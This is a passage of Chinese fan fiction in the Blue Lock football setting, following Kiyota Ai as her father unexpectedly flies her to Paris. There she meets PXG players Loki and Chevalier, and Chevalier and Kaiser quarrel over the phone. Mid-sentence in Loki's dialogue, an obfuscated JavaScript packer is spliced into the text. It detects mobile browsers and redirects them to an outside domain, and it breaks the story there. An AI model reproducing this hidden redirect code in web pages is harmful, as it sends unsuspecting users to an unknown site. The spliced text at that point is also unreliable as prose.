“是薄荷糖啦!”我没好气地把盒子塞进他手里,“这次!是我!清田爱!送给你的!不是我爸买的!各种强劲口味都有,提神醒脑,专治各种不爽!适合你!” 我特意强调了“我送的”,然后紧紧盯着他,想从他脸上找到一丝除了嘲讽以外的表情。 凯撒低头看了看手里那盒花花绿绿的薄荷糖,手指无意识地摩挲了一下盒子边缘,然后抬起头,墨镜遮挡了他所有的眼神。他嘴角缓缓勾起一个熟悉的、带着点恶劣的弧度。 “哦?终于知道要孝敬老师了?”他掂了掂糖盒,语气慵懒,“行吧,勉强收下了。下次记得送点更上档次的。” “……你想得美!”我就知道!狗嘴里吐不出象牙!刚才那点正常的果然是幻觉! 内斯在一旁看着我们斗嘴,忍不住笑出声。 爸爸看了看时间,催促道:“好了好了,差不多了,该进去了。” 离别的实感终于涌了上来。我看向内斯和凯撒,心里那点因为斗嘴而升起的气恼被浓浓的不舍取代。 “那我们走了。”我对他们挥挥手,“谢谢你们来送我们。内斯,保持联系!凯撒……你,少气点人!” 内斯用力点头:“一定!随时联系!” 凯撒只是哼了一声,算是回应。 跟着爸爸走向安检口,我忍不住回头又看了一眼。内斯还在用力挥手,凯撒依旧双手插兜站在那里,墨镜的方向似乎一直朝着这边。 直到他们的身影被人群彻底挡住,我才转回头,心里空落落的。 坐在候机厅里,那种不舍的感觉越发明显,后知后觉地蔓延开来。德国这段时间,虽然鸡飞狗跳,麻烦不断,但……似乎也并不全是糟糕的回忆。 飞机起飞,看着舷窗外逐渐变小的城市轮廓,我忽然有些伤感地问爸爸:“老爸,我们这就要回国了吗?”感觉好像还有很多地方没去,很多事情没做…… 爸爸正在翻看飞机上的杂志,闻言头也不抬,随口回道:“回国?谁说的?” “……啊?”我猛地转过头,震惊地看向他,“不、不回国吗?那我们去哪?” 爸爸这才从杂志里抬起头,脸上露出一个神秘又带着点恶作剧意味的灿烂笑容,露出一口白牙: “当然是去下一站啊!笨蛋女儿!足球世界的巡礼才刚刚开始呢!你该不会以为我真的是让你来看凯撒和内斯比赛的吧!都是借口!” 我目瞪口呆地看着他,大脑一时处理不过来这突如其来的信息。 下一站?哪里?还有什么地方?而且听起来……似乎不止一站?! 上帝啊,我这趟“足球世家的女儿发现自我之旅”,难道真的要变成环游世界了吗?! 49. 巴黎 我感觉我好像被哄骗了,不对,就是被骗了啊。 “老爸!!!”飞机引擎的轰鸣声几乎盖不住我拔高的尖叫,但周围乘客投来的目光让我不得不压低声音,咬牙切齿地瞪着旁边那个笑得一脸无辜又灿烂的男人,“你、你刚才说什么?!下一站?!我们不是回日本吗?!” 老爸悠闲地调整了一下座椅靠背,仿佛刚才投下重磅炸弹的人不是他:“是啊,下一站。巴黎。PXG的主场。之前不是跟你大胡子叔叔还有洛基他们都视频过了吗?正好去看看实地,多好的机会!” “可、可你没跟我说是现在!是立刻!是马不停蹄地就飞过去啊!”我感觉一阵头晕目眩,像是坐上了永不停歇的旋转木马,刚从一个光怪陆离的足球世界离开,还没喘口气,就要被直接抛进另一个!“我还以为……我还以为那是以后的事情……” “以后?什么以后?择日不如撞日嘛!”老爸大手一挥,完全没理会我的崩溃,“反正时间还长着呢,回去也是对着玲王和凪那两个小子,哦,现在可能还要加上蓝色监狱里那群豺狼虎豹,不如跟老爸我环游世界……呃,环游足球世界!多涨涨见识!” 我瘫在座椅里,感觉最后一丝力气也被抽走了。完了,彻底完了。我这根本不是来德国进行什么亲子旅行兼足球研修,我是上了我爸这条贼船,开始了没有终点的足球环球苦旅! 生无可恋。我现在就是生无可恋本人。 幸好……幸好我早有先见之明,把给玲王、凪,还有蓝色监狱那些家伙的礼物,早就打包好拜托舅舅帮忙寄回去了。虽然他们现在在集训肯定收不到,但至少……至少我的心意不会因为我的突然“失踪”而延迟太久。呵,我居然也开始体会凪那种“好麻烦”的心情了,真是造化弄人。 飞机终于在一片我完全陌生的土地上降落。我甚至没心情打量这个所谓的“巴黎”机场长什么样,满脑子都是“我被骗了”“我要回家”“玲王和凪知道会杀了我的”。 机械地跟着老爸下飞机,取行李,过海关。刚一踏进入境大厅,手机解除飞行模式的瞬间,一连串的消息提示音就像催命符一样炸响! 根本不用看,用脚趾头想都知道是谁。 我颤抖着手点开那个熟悉的三人小群(虽然大部分时间是我和玲王在说,凪偶尔冒泡),果然—— 【玲王:爱?你们应该落地日本了吧?羽田机场还是成田?路上顺利吗?】 【玲王:?还没到吗?这个点应该早就到了啊。】 【玲王:爱?看到消息回一下。】 【凪:……好慢。还没到吗?】 【玲王:航班号没错啊……我问了舅舅,舅舅说礼物收到了,但他也不知道你们具体航班信息?怎么回事?】 【凪:……失联了?麻烦……要报警吗?】 【玲王:爱!看到消息立刻回电话!】 最后一条是十分钟前发的,字里行间已经透出了一丝焦躁和不祥的预感。 我闭上眼睛,深吸一口气,做足了心理建设,才手指颤抖地开始打字。 【我:……那什么……我们落地了。】 【玲王:!!!终于!在哪?出口堵吗?我和凪一直在等你消息!】 【凪:……太好了。可以放心打游戏了。】 【我:……不在日本。】 【玲王:?】 【凪:?】 【我:在……巴黎。戴高乐机场。】 消息发出去的瞬间,仿佛按下了静音键。群里死一般的寂静。 足足过了快一分钟,就在我以为手机是不是又没信号的时候,玲王的视频通话请求猛地弹了出来!那急促的铃声像极了索命的号角! 我手一抖,差点把手机扔出去。挣扎了两秒,还是认命地按下了接听键。 屏幕瞬间亮起,玲王那张写满了焦急和不解的俊脸占据了整个屏幕,背景似乎是蓝色监狱的休息区,他紫色的眼睛里仿佛酝酿着风暴:“爱!到底怎么回事?!巴黎?!你怎么会跑到巴黎去了?!不是今天回日本吗?!” 他的声音因为急切而拔高,引得旁边几个同样在休息的蓝色监狱球员好奇地看了过来。 我还没来得及解释,另一个白色的脑袋就慢吞吞地挤进了镜头。 凪顶着那头柔软的乱发,懒洋洋地靠在玲王肩上,没什么表情,但那双总是半睁着的灰色眼睛里也透露出明显的困惑和一丝不满:“爱……骗人。说好回来的。麻烦。” “我、我没骗你们!我也是刚下飞机才知道!”我欲哭无泪,赶紧把镜头一转,对准旁边那个正在东张西望、一脸“此地风景不错”的我爸, “罪魁祸首在这里!你们问他!” 老爸看到镜头对准他,立刻露出一个灿烂无比、毫无愧疚的笑容,挥了挥手:“哟!玲王,凪!好久不见啊!精神不错嘛!怎么样,蓝色监狱好玩吗?” 玲王&凪:“……” 玲王的嘴角抽搐了一下,显然被老爸这理所当然的态度噎得不轻,他努力维持着礼貌:“清田叔叔……这到底是怎么回事?为什么突然去巴黎了?爱的机票……” “哎呀,计划赶不上变化嘛!”老爸哈哈一笑,伸手揽过我的肩膀,把我强行拉进镜头,“你看,来都来了,正好带爱去看看PXG的训练基地,见见世面!机会难得!日本什么时候都能回嘛!” “可是……”玲王看起来还想据理力争,眉头紧紧皱着。 “没有可是啦!”老爸打断他,语气依旧乐呵呵,但带着一种不容置疑的意味,“放心好啦,我会照顾好我宝贝闺女的!保证一根头发都不会少!你们俩就安心训练,争取早点被选上国家队,到时候再来找爱玩嘛!” 他又拍了拍我的脑袋:“行了,跟你的小男朋友……们,道个别,接我们的人好像到了。” 说完,他完全不给我再申诉的机会,对着镜头说了声“拜拜”,就直接拿过我的手机,干脆利落地挂断了视频! 我:“!!!” 看着黑掉的屏幕,我仿佛已经看到了屏幕那头玲王气到炸毛和凪瘫成更大一坨的模样。完了,这下彻底解释不清了!我爸他绝对是故意的! “清田!这边!这边!” 一个洪亮如钟的声音穿透了机场的嘈杂人声。我循声望去,果然看到了那个熟悉的大胡子叔叔正站在不远处,用力挥舞着他那毛茸茸的胳膊,脸上洋溢着热情得过分的笑容。 他今天穿了一件格外醒目的PXG训练外套,衬得他那满脸的大胡子更加浓密了。 “大胡子!”老爸也看到了他,立刻兴奋地推着行李车迎了上去,两个老友用力地拥抱了一下,互相捶打着后背,发出砰砰的响声,引得路人纷纷侧目。 “哈哈!一路辛苦了吧!走!车就在外面!带你们去酒店放下东西,然后直接去基地逛逛!正好下午U18那边有场队内训练赛,有几个不错的小子可以看看!”大胡子叔叔嗓门极大,一边说一边好奇地看向我,“这就是美纪的女儿?小爱?都长这么大了!比视频里还漂亮!像妈妈!” “大胡子叔叔好。”我有气无力地打了个招呼,还没从被“流放”巴黎和得罪了幼驯染的双重打击中恢复过来。 “好好好!哎呀,脸色怎么不太好?是不是坐飞机累了?没事!到了叔叔的地盘,保证让你吃好喝好玩好!”大胡子叔叔热情地拍了拍我的肩膀,力道大得我差点一个趔趄。 老爸在一旁添油加醋:“她就是有点闹脾气,不想来,想回日本找她的小男朋友呢!” “爸!”我羞恼地瞪了他一眼。 “哦?小男朋友?”大胡子叔叔眼睛一亮,胡子都翘了起来,“哪家的小子?踢球的吗?水平怎么样?要不要叔叔帮你看看配不配得上你?” ……救命啊。我绝望地捂住脸。这个足球世界的大人们,脑子里除了足球和拉郎配,就没有别的东西了吗? 跟着大胡子叔叔走出机场,坐上了他那辆宽敞的SUV。车子一路驶向市区,窗外的建筑风格与慕尼黑截然不同,但我完全没心情欣赏。 手机又开始嗡嗡作响,不用看都知道是玲王和凪的信息轰炸。我认命地点开。 果然,群里已经炸锅了。 【玲王:清田叔叔怎么能这样!太乱来了!】 【玲王:爱你一个人在外面一定要小心!离那些奇怪的法国男人远一点!】 【凪:……不开心。说好回来的。】 【凪:巴黎好远。麻烦。】 【凪:爱,记得给我带不用麻烦就能吃的好吃的东西。】 【玲王:凪!现在是关心这个的时候吗!】 【玲王:爱,每天都要报平安!随时保持联系!听到没有!】 看着他们一条接一条的消息,尤其是玲王那几乎要溢出屏幕的担忧和醋意,还有凪那看似懒洋洋实则也在表达不满的言语,我心里那点委屈和无奈反而被冲淡了些,取而代之的是一种酸酸甜甜的暖意。 至少,还有人在遥远的地方惦记着我。 我捧着手机,认真地回复过去。 【我:知道啦知道啦,我会每天发消息的!绝对不失联!】 【我:也会离所有奇怪的男人远远的!我保证!】 【我:凪,好吃的我会留意的……但不确定能不能找到“不用麻烦”的……】 【我:你们也要好好训练!等我……等我被老爸抓去环游完世界,就回去看你们!】 发完这些,我又偷偷瞥了一眼旁边和老友聊得热火朝天的老爸,以及开车开得兴致勃勃、时不时加入讨论的大胡子叔叔。 唉,前路漫漫。 我这被迫的足球环球之旅,看来才刚刚开了个头。 巴黎,PXG……又会有什么样的“惊喜”在等着我呢? 想想就觉得……好麻烦啊。 *** 由于时间还早,大胡子叔叔直接带我们跑俱乐部去了,车子七拐八绕,最终停在一片现代化建筑群前。巨大的PXG队徽在阳光下闪耀,透着法式时尚与足球力量结合的气息。 “怎么样?气派吧?”大胡子叔叔颇为自豪地拍了拍方向盘,转头问我,“小爱,你要是想先去商场买点东西啥的也可以告诉我,我可以先开去商场。” 我赶紧摇头:“那还是不必了。”心想赶紧找个能坐下来的地方才是正经,不然等下手机一震,不是凯撒就是内斯,或者他俩一起的信息轰炸,站在路边回信息也太狼狈了。而且……不知道为什么,心里隐隐有点期待,想看看这个让洛基和夏尔为之奋斗的地方。 “行!那咱们就直接进去!”大胡子叔叔爽朗一笑,利落地下车,跟门卫打了个招呼,便领着我和老爸熟门熟路地走了进去。 青训基地内部比我想象的还要大,设施崭新又齐全。路过的年轻球员们看到大胡子叔叔都会恭敬地打招呼,好奇的目光则会在我身上停留片刻。空气中弥漫着草皮的清新气息和隐隐的汗水味,是一种独属于足球世界的活力氛围。 大胡子叔叔没有直接带我们去训练场,而是拐进了一栋办公楼,敲开了一间休息室的门。 “朱利安!你看谁来了!”大胡子叔叔嗓门洪亮。 休息室里,洛基正坐在沙发上,低头看着平板电脑上似乎是比赛录像。闻声抬起头,看到我们,尤其是看到我时,他那张轮廓分明的脸上露出一丝恰到好处的惊讶,随即站起身,露出一个礼貌又不会过于热情的笑容。 “清田先生,爱,欢迎来到巴黎。”他走过来,声音清朗,带着法国口音的英语听起来很舒服。他今天穿着简单的PXG训练服,古铜色的皮肤在室内光线下显得很健康,剃得利落的寸头让他看起来格外精神且专注。 “洛基先生,打扰了。”我有些不好意思地笑了笑,“这次来得太突然,都没来得及准备礼物……真的很感谢你之前那么耐心地指导我。” 洛基摇了摇头,金色的眼眸里带着真诚:“举手之劳,不用客气。能看到你对足球产生兴趣并愿意钻研,本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251849|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身就是一件值得高兴的事。”他顿了顿,看向我的目光带着些许探究,“那些训练要点,在实际练习中还适用吗?” “很有用!”我立刻点头,想起自己偷偷练习终于找到点感觉的经历,“特别是关于核心发力和摆腿节奏的部分,让我豁然开朗了不少!” “是吗?那太好了。”洛基的笑容加深了些,显得很高兴。他示意我们坐下,然后很自然地将话题引向了更深入的足球技巧讨论,甚至还拿起平板调出一些视频片段,给我讲解不同情况下射门方式的选择。 我们聊得很投入。洛基确实是一个非常好的交流对象,他思维清晰,表达直接,既能一针见血地指出问题,又不会像某人那样用毒舌把人打击得体无完肤。他对我提出的一些笨拙问题也给予了足够的耐心,甚至会举一反三,引申出更多的知识点。 老爸和大胡子叔叔在一旁聊着他们的老友记,偶尔插几句话调侃一下我们“年轻人有共同语言”,气氛轻松又愉快。 就在洛基给我演示一个无球跑位动作,而我正努力理解其中精髓时,休息室的门被人“砰”地一声猛地推开了! 一个活力四射、带着点痞气的声音瞬间打破了室内相对安静的氛围: “洛基!卷毛教练说下午的战术……诶?” 我和洛基同时转头望去。只见夏尔·希瓦利埃像一阵风似的卷了进来,他穿着一身沾了些草屑和泥土的训练服,显然刚结束训练,金色的短发被汗水打湿了几缕,挑染的银白色在灯光下格外醒目。他脸上原本带着灿烂的笑容,但在看到我的瞬间,那双金色的眼睛猛地睁大了,里面充满了毫不掩饰的惊喜和兴趣。 “哇哦!美女姐姐!”他立刻把原本要说的话抛到了脑后,三两步就蹿了过来,胳膊极其自然地搭在了洛基的肩膀上,完全无视了后者瞬间变得有些无奈的表情,探头探脑地对着我笑,露出那颗标志性的小虎牙,“真的是你!我还以为大胡子教练又在吹牛呢!你怎么来巴黎了?是来看我的吗?” 他的自来熟程度简直比视频里还要夸张,像只热情过度的大型金毛犬,仿佛下一秒就要扑上来摇尾巴。 洛基叹了口气,用力把夏尔的胳膊从自己肩膀上抖下去:“夏尔,注意礼貌。” “我很礼貌啊!”夏尔笑嘻嘻地反驳,目光却一直黏在我身上,“姐姐你好,我叫夏尔·希瓦利埃,今年十四岁,身高一百七十四公分,司职中场,未来的世界级球星!很高兴正式见面!”他甚至还像模像样地对我行了个不太标准的绅士礼。 我被他一连串的自我介绍弄得有点懵,只能干巴巴地回应:“你、你好,夏尔。我是清田爱。” “清田爱……”夏尔仔细品味了一下我的名字,然后笑容更加灿烂,“真好听!和你的人一样可爱!” 我的脸颊微微发烫,这小孩也太会说话了吧?虽然知道可能只是他性格使然,但还是有点招架不住。 “希瓦利埃!”大胡子叔叔在一旁看不下去了,出声警告,“收起你那套油嘴滑舌!吓到客人了!” “我才没有油嘴滑舌,我说的都是真心话!”夏尔理直气壮地顶嘴,然后又凑近我,压低声音神秘兮兮地说,“姐姐,别听大胡子叔叔的,他就是嫉妒我年轻帅气又受欢迎。” 大胡子叔叔气得吹胡子瞪眼。老爸在一旁看得哈哈大笑,一副觉得很有趣的样子。 洛基揉了揉眉心,看起来对处理这种情况已经习以为常。他对我投来一个抱歉的眼神,然后伸手按住夏尔还想继续凑过来的脑袋:“夏尔,你刚才说教练找我?” “啊!对了!”夏尔像是才想起正事,“卷毛教练让你现在过去一趟,好像是要分析上午训练赛的数据。” 洛基点点头,站起身,对我礼貌地说:“抱歉,失陪一下。” “没关系,正事要紧。”我连忙说。 洛基又看了一眼像牛皮糖一样粘在我旁边的夏尔,犹豫了一下,似乎想把他一起拎走。但夏尔立刻像八爪鱼一样扒拉住沙发背,嚷嚷着:“我不去我不去!数据分析最无聊了!我要在这里陪美女姐姐!” 洛基无奈,只好对大胡子叔叔和我爸说:“麻烦帮忙看一下他。”然后才转身离开。 洛基一走,夏尔更是彻底放飞自我。他毫不客气地在我旁边的沙发扶手上坐下,开始叽叽喳喳地问个不停:“姐姐,你这次来巴黎待多久啊?会不会去看我们训练?你喜欢吃什么?我知道附近有家甜品店的马卡龙超级好吃!我带你去啊?” 他靠得很近,身上混合着汗水、青草和阳光的气息扑面而来,充满了少年人特有的蓬勃生命力。我被他连珠炮似的问题问得有点头晕,只能含糊地应着:“还、还不确定……看安排吧……” “对了姐姐!”夏尔忽然想起什么,眼睛亮晶晶地看着我,“你足球练得怎么样了?要不要待会儿去训练场,我教你两招独门绝技?保证比洛基教的有趣!” 他说着,还做了个花里胡哨的踩单车动作,差点从沙发扶手上滑下去。 “夏尔!你给我安分点!”大胡子叔叔忍不住吼道。 就在这时,我的手机在口袋里震动起来。我心里咯噔一下,预感成真。 拿出来一看,屏幕上跳动的名字果然是——米歇尔·凯撒。 夏尔眼尖地瞥到了,立刻好奇地问:“谁呀?姐姐,你男朋友查岗吗?” “不、不是!”我像是被烫到一样,下意识地想按掉,但手指一滑,竟然不小心按了接听键! 凯撒那特有的、带着德国腔调、慵懒又压迫感十足的声音立刻从听筒里传了出来,在略显嘈杂的休息室里依然清晰可辨: “喂。到了?” 夏尔的耳朵瞬间竖了起来,脸上的笑容变得有些玩味,他故意凑近我的手机,大声说道:“姐姐~谁呀?声音听起来不像是好人哦~” 电话那头沉默了一秒。 随即,凯撒的声音骤然降温,像掺了冰渣: “清田爱,你旁边那个吵死人的公鸭子是谁?” 50. 争端 “清田爱,你旁边那个吵死人的公鸭子是谁?” 话音落下,全场寂静了一秒钟。 紧接着,夏尔·希瓦利埃像是被点燃的炮仗,非但没被凯撒的冰冷语气吓退,反而爆发出更加灿烂——或者说,更具挑衅意味——的笑容。他甚至一把抢过我的手机,把它当成对讲机一样凑到自己嘴边,用他那清亮又带着夸张委屈的嗓音叭叭地回击: “公鸭子?总比某些声音像结了冰的臭水沟、性格像更年期提前的欧吉桑要好吧?这位大叔~你是谁呀?怎么用这种口气跟姐姐说话?也太失礼了吧!姐姐现在可是被阳光开朗、善良体贴、未来世界第一中场——也就是我,夏尔·希瓦利埃——陪着哦!跟你这种阴沉大叔可不是一个世界的!” 他语速快得像机关枪,噼里啪啦一顿扫射,攻击范围涵盖了年龄、性格、语气,还顺手把自己捧上了天。每一个单词都裹着蜂蜜般的甜腻,却又精准地往人心窝子里扎。尤其是那声拖长了调子的“欧吉桑”和“大叔”,杀伤力简直爆表! 我甚至能隔着听筒,清晰地想象出电话那头凯撒瞬间黑如锅底的脸色,以及周围空气骤降十度的冰冷气压。完蛋了!夏尔·希瓦利埃,你这是在死亡的边缘疯狂蹦迪啊! 而且,就这寥寥几句话,我瞬间认定——这小子,绝对不是什么单纯的阳光开朗大男孩!这心眼子,这挑事的能力,这杀人不见血的软刀子!如果因为他十四岁的外表和灿烂的笑容就放松警惕,绝对会被他玩得团团转,卖了还帮他数钱! “呵。”电话那头传来凯撒一声极轻的、几乎是从牙缝里挤出来的冷笑,带着一种山雨欲来的恐怖平静,“内斯。” “是、是!凯撒!”背景音里立刻传来内斯惊慌失措的回应,隐约还能听到他倒吸一口凉气的声音。 “查一下。”凯撒的声音冷得能冻裂听筒,“PXG什么时候开始允许这种没断奶还吵着要糖吃的小鬼……和没教养的野猴子进入训练基地了?他们是缺人缺到需要去幼儿园募捐了吗?” “你说谁是野猴子?!谁没断奶?!”夏尔立刻炸毛,声音拔高了八度,脸上的笑容却越发耀眼,甚至带着点兴奋,仿佛找到了什么好玩的玩具,“大叔你不仅年纪大、性格坏,眼神也不好!我这是青春活力!是未来巨星的潜质!懂不懂欣赏啊?哦,对了,像你这种老古董肯定只知道那种死气沉沉的踢法吧?真可怜~” 他一边说,一边还对我眨眨眼,一副“看我帮你教训他”的得意表情。 我:“!!!” 救命!不能再让他们吵下去了!这越说越离谱,火药味浓得快要引爆整个休息室了!而且战火完全是因为我而起的!我必须做点什么! 老爸和大胡子叔叔在一旁看得目瞪口呆,似乎也没料到事情会发展成两个顶尖俱乐部的天才球员隔着电话进行小学鸡式的吵架。老爸脸上甚至露出了“哇哦现在年轻人吵架都这么刺激吗”的看热闹表情。 不行!指望不上他们了! 在一片混乱和挣扎中,我的大脑飞速运转,试图找出一个能立刻制止这场灾难的办法。说凯撒是“老师”?不行,夏尔肯定会抓住这点更加疯狂调侃。强行挂断电话?凯撒绝对会立刻再打过来,或者干出更可怕的事情。解释?这两人现在根本听不进任何解释! 有了! 就在夏尔深吸一口气,准备发动新一轮语言攻击,而电话那头凯撒的冰冷嘲讽也即将出口的瞬间,我猛地爆发出前所未有的力量和速度,一下子从夏尔手里抢回了我的手机! 然后,我用尽全身的力气,对着话筒那边语速飞快地大喊,声音甚至因为急切而有些破音: “教练叫集合了!必须马上走了!回头再聊!拜拜!” 喊完,我根本不敢等任何回应,手指颤抖着以这辈子最快的速度狠狠按下了挂断键! 世界,终于清静了。 我握着仿佛烫手山芋一样的手机,大口大口地喘着气,心脏在胸腔里疯狂跳动,后背惊出了一层薄汗。感觉像是刚刚从一场硝烟弥漫的战场上侥幸逃生。 休息室里陷入了诡异的寂静。 夏尔愣愣地看着自己空荡荡的手,又看看我惊魂未定的脸,眨了眨他那双金色的眼睛,脸上的兴奋和挑衅慢慢褪去,转而浮现出一种……更加浓厚的兴趣和玩味? “姐姐……”他拖长了语调,凑近了些,笑容变得有些狡黠,“你好像……很怕那个大叔哦?他到底是谁呀?真的是你的……‘男朋友’?”他刻意加重了“男朋友”三个字,眼神里充满了探究。 我怕他?我那是为你的生命安全着想!我内心疯狂吐槽,但脸上还得努力维持镇定:“不、不是怕!只是……只是不想引起不必要的误会!” “误会?”夏尔歪了歪头,像只好奇的大型犬,“能有什么误会?难道他是姐姐的……”他的目光在我脸上扫来扫去,故意停顿了一下,然后露出一个恍然大悟的表情,“……追求者?不会吧?姐姐口味这么……独特吗?喜欢那种冰山大龄款?” 我的脸颊瞬间爆红:“才不是!你、你别瞎猜!” “哎呀,开个玩笑嘛!”夏尔笑嘻嘻地摆摆手,一副“我懂我懂”的样子,“不过姐姐你放心!”他忽然拍了拍胸口,挺直了脊背,“有我在,绝对不会让那种奇怪的大叔靠近你的!保护姐姐,是绅士的职责!” 他说得正义凛然,配上那张阳光帅气的脸和灿烂的笑容,极具欺骗性。如果不是刚才亲眼目睹了他那番“欧吉桑”、“大叔”的连环毒舌攻击,我差点就要信了他的鬼话! 这小子,绝对是个白切黑!而且还是黑得流油的那种! 就在这时,我的手机又开始不屈不挠地震动起来。屏幕上那个名字像恶魔的低语一样闪烁着。 阴魂不散!他又打来了! 我吓得差点把手机扔出去。 夏尔也看到了来电显示,金色的眼眸眯了一下,伸手就又要来拿:“啧,真是缠人啊。姐姐,我来帮你跟他‘好好’道个别……” “不用了!”我猛地后退一步,把手机死死藏在身后,声音都带了点哭腔,“真的不用了!谢谢你夏尔!你的心意我领了!但是真的……真的不能再刺激他了!” 我一边说,一边疯狂按动侧键把手机调成静音,然后像扔烫手山芋一样把它塞进了背包最底层,拉上拉链,仿佛这样就能隔绝那个远在德国却依然能兴风作浪的家伙。 做完这一切,我才长长地松了一口气,感觉腿都有些发软。 一抬头,就对上夏尔那双充满兴味的眼睛。他摸着下巴,像是在研究什么有趣的新物种:“姐姐,你和他……关系真的很复杂诶?好像很有趣的样子?” 不,一点都没有趣!我只想平静地活下去! 大胡子叔叔终于看够了热闹,咳嗽了一声,出来打圆场:“好了好了,希瓦利埃,你别再逗小爱了。那个凯撒……确实是个难缠的小子,脾气臭得很,偏偏实力又强得离谱,惹毛了他没好处。” 连老爸也难得地说了句人话:“嗯,那小子小心眼,特别记仇。” 您也知道啊!那刚才看戏看得最欢的是谁?! 夏尔耸了耸肩,似乎有些遗憾没能继续“玩”下去,但很快又重新挂上了那副人畜无害的灿烂笑容:“好吧好吧,既然叔叔们都这么说了。不过姐姐,”他转向我,眼神亮晶晶的,“要是那个大叔再敢欺负你,随时告诉我!我帮你骂回去!我的嘴炮能力可是经过认证的!” 不……真的不用了……你们俩隔空对轰,最后遭殃的肯定是我…… 我勉强挤出一个笑容:“谢、谢谢……” 幸好,洛基及时回来了,打破了这微妙的气氛。他看了一眼表情各异的我们,虽然有些疑惑,但并没有多问,只是对大胡子叔叔说:“教练那边已经好了。下午的训练赛提前了半小时,我们现在就得过去准备。” “行!那走吧!”大胡子叔叔站起身,拍了拍手,“小爱,清田,正好,带你们去看看我们PXG未来的希望们!保证不比拜塔的那些小子差!” 我如蒙大赦,赶紧跟上大部队,逃离了这个差点引发国际纠纷的休息室。背包里的手机似乎又微弱地震动了两下,但我果断选择无视。 走在通往训练场的走廊上,夏尔依旧像只活泼的大型犬一样围在我身边,叽叽喳喳地说着下午训练赛会有哪些厉害的角色,他自己又会如何大放异彩。 阳光透过走廊的玻璃窗洒进来,将他金白挑染的发丝照得闪闪发光。看着他神采飞扬的侧脸,听着他活力四射的声音,我却忍不住在心里暗暗告诫自己: 清田爱,清醒一点!这个人,可爱是真的,但危险也是真的!绝对、绝对不能被他阳光的外表骗了!否则,怎么被玩死的都不知道! 足球世界的天才们,果然一个个都不是省油的灯! 一个凯撒就已经让我焦头烂额了,现在又来个夏尔·希瓦利埃…… 我的巴黎之行,看来注定不会平静了。 上帝啊,让我平安活着回日本吧! *** 因为并不是正规的比赛,所以我们只能站在赛场边观望,而不是观众席上。绿色的草坪近在咫尺,少年们奔跑呼喊的声音、鞋钉刮擦草皮的声响、还有足球被猛烈撞击的闷响,都比在看台上要清晰得多,带着一种原始的冲击力。汗水的气息混合着草叶的清香,弥漫在空气里,是一种独属于竞技场的、令人心跳加速的味道。 让我感到有些意外的是洛基竟然没上场,他明明那么厉害,就站在我身边,双臂环胸,神情专注地看着场内的攻防转换。他高大的身影投下一片阴影,古铜色的皮肤在下午的阳光下泛着健康的光泽,剃得极短的寸头让他看起来更加利落和沉稳。 他像是看出了我的疑虑,微微侧过头,金色的眼眸看向我,耐心地解释了一番,声音平静而清晰:“只是普通的队内训练赛,教练想让更多不同组合的队员尝试配合,观察他们的化学反应和临场应变。如果我现在上场,”他顿了顿,语气里没有傲慢,只是一种基于实力的客观陈述,“赛场会完全变成我的个人秀,虽然其他人也能在失败和打击中获得新的感悟,但我认为姑且没那个必要。” 我点了点头表示明白了。确实,以洛基的实力,在这种级别的训练赛里,恐怕真的会形成碾压,反而达不到锻炼队伍的目的。他的选择体现了一种超越年龄的成熟和团队意识——显然,他懂得在什么时候收敛锋芒,以达到更大的战略目的。这和某个恨不得每分每秒都宣告全世界“老子最牛”的家伙截然不同。 我的目光重新投向赛场。夏尔还在赛场上奔跑着。他的体格相比其他人并没有小多少——PXG的青训球员身体素质普遍都很出色——但仔细看,还是能看出些许细微的年龄差异,肩膀似乎略单薄一些,脸上的稚气也未完全脱去。但这丝毫不影响他在场上的存在感。 他像一条滑不留手的鱼,又像一只不知疲倦的蜂鸟,在中场区域灵活地穿梭跑动。他的盘带技术极其花哨,各种踩单车、马赛回旋信手拈来,带着一种玩世不恭的炫技感,常常能引得场边一些工作人员发出低低的惊呼。但他的传球却又往往出其不意,充满想象力,有时甚至是冒着极大风险的刀山球,却能精准地找到空当处的队友。 “哇哦,那小子……”爸爸在一旁摸着下巴,看得津津有味,“脚下活儿真细!胆子也大!是个好苗子!” 大胡子叔叔与有荣焉地哈哈一笑:“哈哈!是吧!我就说这小子虽然皮得上天,但天赋没得说!就是这性子还得磨磨!” 正说着,夏尔用一个极其逼真的假动作晃倒了防守他的队员,然后送出一记精准的斜塞球,助攻队友破门得分。进球后,他大笑着跑向队友,露出一口白牙和那颗尖尖的小虎牙,阳光洒在他金白挑染的发丝上,耀眼得惊人。他甚至还有空朝着场边我们站的方向抛来一个wink,笑容灿烂又带着点小得意。 我忍不住笑了出来。这家伙,果然无论何时何地,都是绝对的焦点和活力源泉。 就在这时,我口袋里的手机震动了一下。 这个时候会是谁?我心里嘀咕着,掏出手机一看,屏幕上跳动的名字让我微微一怔——是内斯。 想到德国那边现在的时间,以及他可能刚刚结束训练,我心里泛起一丝暖意,又有点不好意思。跟身旁的爸爸、大胡子叔叔还有洛基低声说了一句“我去旁边回个消息”,便拿着手机小跑着到了场地边一个相对安静的角落。 背对着热闹的赛场,我按下了接听键。 “内斯?”我压低声音。 “爱!”内斯清朗温和的声音立刻从听筒里传来,背景音很安静,似乎是在宿舍或者走廊,“没有打扰到你吧?你们那边应该是下午?今天过得怎么样?巴黎好玩吗?” 他的问候一如既往的体贴周到,像一阵暖风。 “没有打扰,我们在看PXG的训练赛呢。”我笑着回答,目光下意识地瞟了一眼赛场,夏尔正在试图抢断,动作敏捷得像只猎豹,“巴黎……也就那样吧,刚来没多久,就被我爸拖来看球了。”我忍不住小小地抱怨了一下。 “哈哈,清田先生还是这么有活力。”内斯轻笑,语气里带着理解和包容,“训练赛?怎么样?PXG的青训水平在欧洲也是顶尖的,应该很精彩吧?” “嗯!确实很厉害!”我忍不住分享刚才的见闻,压低了声音,带着点分享秘密的兴奋,“我跟你说,我见到那个夏尔·希瓦利埃了!就是上次视频里那个特别皮的‘天邪鬼’!他就在场上比赛,技术花得不得了,胆子还特别大,各种意想不到的传球……” 